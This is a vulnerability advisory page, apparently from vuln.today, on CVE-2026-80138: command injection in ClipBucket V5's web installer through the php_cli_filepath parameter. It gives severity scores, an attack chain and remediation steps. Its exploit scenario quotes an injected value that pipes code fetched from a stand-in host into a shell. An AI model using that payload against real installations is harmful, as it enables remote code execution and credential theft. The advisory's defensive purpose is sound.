Skip to main content

ClipBucket V5 CVE-2026-80138

| EUVDEUVD-2026-66195 CRITICAL
OS Command Injection (CWE-78)
2026-08-25 VulnCheck GHSA-h7wf-mrfw-7fxq
Command Injection Clipbucket V5
9.2
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
9.2 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Unauthenticated network POST with low complexity yields command execution and full C/I/A impact; the installer-reachable precondition maps to CVSS 4.0 AT:P rather than a 3.1 metric.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 25, 2026 - 23:15 vuln.today
Analysis Generated
Aug 25, 2026 - 23:15 vuln.today
CVE Published
Aug 25, 2026 - 22:12 cve.org
CRITICAL 9.2

DescriptionCVE.org

ClipBucket V5's web installer fails to properly validate or escape the php_cli_filepath parameter before passing it to shell execution. Unauthenticated attackers can submit a crafted POST request to the installer with a malicious php_cli_filepath value to execute arbitrary commands as the web server user.

AnalysisAI

OS command injection in ClipBucket V5's web installer (versions 5.5.1 through 5.5.3-#153) lets unauthenticated remote attackers run arbitrary shell commands as the web server user by supplying a crafted php_cli_filepath value in a POST request to the installer. The flaw stems from the installer passing this parameter unescaped into a shell command that invokes the PHP CLI. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Locate exposed ClipBucket installer
Delivery
Craft POST with malicious php_cli_filepath
Exploit
Shell interprets injected metacharacters
Execution
Execute commands as web server user
Impact
Read credentials and pivot
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires that the ClipBucket V5 web installer (the cb_install endpoint) be network-reachable and in an executable/active state - this is the AT:P attack requirement and the primary limiting factor, since production deployments that remove or block the installer after setup are not exposed. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine high-priority issue for exposed instances, not merely a high-CVSS-but-low-real-risk case. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker locates an internet-exposed ClipBucket V5 instance whose installer is still reachable and sends a single crafted POST request setting php_cli_filepath to something like `/usr/bin/php; curl http://evil/x | sh`, causing the shell to execute the injected command as the web server user. From there they establish a foothold, read configuration/database credentials, and pivot. …
Remediation Update to the patched build containing commit 36e7c6cfd81f62a091d2aeef96a8fc2fc2d85dc4 (changelog revision 176, the 5.5.3 line), which validates the path with realpath()/is_file()/is_executable() and applies escapeshellarg() before shell execution; consult the VulnCheck advisory and the GitHub commit (https://github.com/MacWarrior/clipbucket-v5/commit/36e7c6cfd81f62a091d2aeef96a8fc2fc2d85dc4) for exact release details. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, verify whether ClipBucket's web installer is still accessible on any production or staging systems and restrict access if found. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Clipbucket V5

View all
CVE-2026-42846 CRITICAL
9.8 Jun 11

Remote command injection in ClipBucket v5 prior to version 5.5.3 - #140 allows authenticated users to execute arbitrary

CVE-2026-45060 CRITICAL
9.8 Jun 11

Unauthenticated blind SQL injection in ClipBucket v5 prior to version 5.5.3 - #129 allows remote attackers to exfiltrate
CVE-2026-45418 HIGH
8.8 Jun 11

Authenticated SQL injection in ClipBucket v5 prior to release 5.5.3 - #132 allows any user with video-upload privileges

CVE-2026-32321 HIGH
8.8 Mar 18

An authenticated time-based blind SQL injection vulnerability exists in the ClipBucket v5 open source video sharing plat
CVE-2026-47238 MEDIUM
6.5 Jun 11

ClipBucket v5's subtitle management feature lacks ownership verification, enabling any authenticated user to upload, ren
CVE-2026-49482 MEDIUM
4.3 Jun 11

SQL wildcard character injection in ClipBucket v5's subtitle editing endpoint allows authenticated users to overwrite al

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0
CVE-2024-9474 MEDIUM POC
6.9

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Share

CVE-2026-80138 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy